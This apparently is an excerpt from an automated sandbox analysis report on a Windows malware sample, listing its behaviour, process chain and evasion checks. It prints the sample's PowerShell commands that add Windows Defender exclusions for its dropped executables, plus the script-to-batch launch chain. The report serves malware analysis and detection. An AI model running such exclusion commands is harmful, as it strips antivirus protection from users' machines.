Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Code function: 0_2_0091C220 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,		0_2_0091C220

Source: C:\Users\user\Desktop\hz7DzW2Yop.exe

Code function: 0_2_0091E6A3 VirtualQuery,GetSystemInfo,

0_2_0091E6A3

Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Recovery\uAsLgsGzSk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Recovery\uAsLgsGzSk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 30000
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 600000
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 599891
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 599766
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 3600000
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 598903
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 598266
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 597516
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 596985
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 596782
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 596625
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 596422
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 596266
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 596032
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 595844
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 595593
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 595369
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 595078
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 594891
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 594625
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 594360
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 594063
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 593860
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 593625
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 593328
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 593094
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 592750
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 592547
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 592094
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 591735
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 591504
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 591219
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 590953
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 590641
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 590203
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 589953
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 589516
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 589000
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 588782
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 588407
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 588059
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 587597
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 587235
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 586925
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 586752
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 586547
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 586384
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 586219
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 300000
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 586051
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 585885
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 585719
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 585532
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 585356
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 585192
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 585047
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 584875
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 584688
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 584485
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 584321
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 584150
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 584000
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 583846
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 583684
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 583573
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 583438
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 583282
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 583146
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 583015
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 582905
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 582797
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 582687
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 582578
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 582461
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 582348
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 582219
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 582091
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 581966
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 581859
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 581749
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 581641
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 581531
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 581422
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 581313
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 581203
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 581094
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 580969
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 580860
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 580735
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 580625
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 580516
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 580391
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 580272
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 580103
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 579997
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 579884
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 579779
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 579672
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 579563
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 579453
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 579324
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 579219
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 579094
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 578983
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 578874
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 578766
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 578641
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Thread delayed: delay time: 578529

Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: serverBrokerperfMonitor.exe, 00000005.00000002.1958938627.000000001CE34000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}yU
Source: w32tm.exe, 00000026.00000002.1950605264.000001E1A95D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlly
Source: wscript.exe, 00000001.00000003.1828389187.0000000000923000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: serverBrokerperfMonitor.exe, 00000005.00000002.1952160160.000000001BE59000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: hz7DzW2Yop.exe, 00000000.00000003.1672432196.0000000000802000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\{v"
Source: serverBrokerperfMonitor.exe, 00000005.00000002.1958938627.000000001CE34000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: serverBrokerperfMonitor.exe, 00000005.00000002.1958938627.000000001CE34000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}DD

Source: C:\Users\user\Desktop\hz7DzW2Yop.exe

API call chain: ExitProcess graph end node

graph_0-23967

Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\hz7DzW2Yop.exe

Code function: 0_2_0091F838 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_0091F838

Source: C:\Users\user\Desktop\hz7DzW2Yop.exe

Code function: 0_2_00927DEE mov eax, dword ptr fs:[00000030h]

0_2_00927DEE

Source: C:\Users\user\Desktop\hz7DzW2Yop.exe

Code function: 0_2_0092C030 GetProcessHeap,

0_2_0092C030

Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Recovery\uAsLgsGzSk.exe	Process token adjusted: Debug
Source: C:\Recovery\uAsLgsGzSk.exe	Process token adjusted: Debug
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Code function: 0_2_0091F838 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0091F838
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Code function: 0_2_0091F9D5 SetUnhandledExceptionFilter,	0_2_0091F9D5
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Code function: 0_2_0091FBCA SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0091FBCA
Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Code function: 0_2_00928EBD IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00928EBD

Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows defender\en-GB\uAsLgsGzSk.exe'
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\uAsLgsGzSk.exe'
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\ShellExperiences\uAsLgsGzSk.exe'
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\SystemSettings.exe'
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\uAsLgsGzSk.exe'
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows defender\en-GB\uAsLgsGzSk.exe'	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\uAsLgsGzSk.exe'	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\ShellExperiences\uAsLgsGzSk.exe'	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\SystemSettings.exe'	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\uAsLgsGzSk.exe'	Jump to behavior

Source: C:\Users\user\Desktop\hz7DzW2Yop.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\HyperWebbroker\kC1qNwulObrDTKeFv7nRu.vbe"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\HyperWebbroker\lGnbJpj21JH90uguTRu2sUXatfulFm1f34jhZ8QO993nz73C1NZz.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\HyperWebbroker\serverBrokerperfMonitor.exe "C:\HyperWebbroker/serverBrokerperfMonitor.exe"	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows defender\en-GB\uAsLgsGzSk.exe'	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\uAsLgsGzSk.exe'	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\ShellExperiences\uAsLgsGzSk.exe'	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\SystemSettings.exe'	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\uAsLgsGzSk.exe'	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\2K3wfCcSpW.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\ShellExperiences\uAsLgsGzSk.exe "C:\Windows\ShellExperiences\uAsLgsGzSk.exe"

Source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.000000000314D000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\hz7DzW2Yop.exe

Code function: 0_2_0091F654 cpuid

0_2_0091F654

Source: C:\Users\user\Desktop\hz7DzW2Yop.exe

Code function: GetLocaleInfoW,GetNumberFormatW,

0_2_0091AF0F

Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Queries volume information: C:\HyperWebbroker\serverBrokerperfMonitor.exe VolumeInformation	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\HyperWebbroker\serverBrokerperfMonitor.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
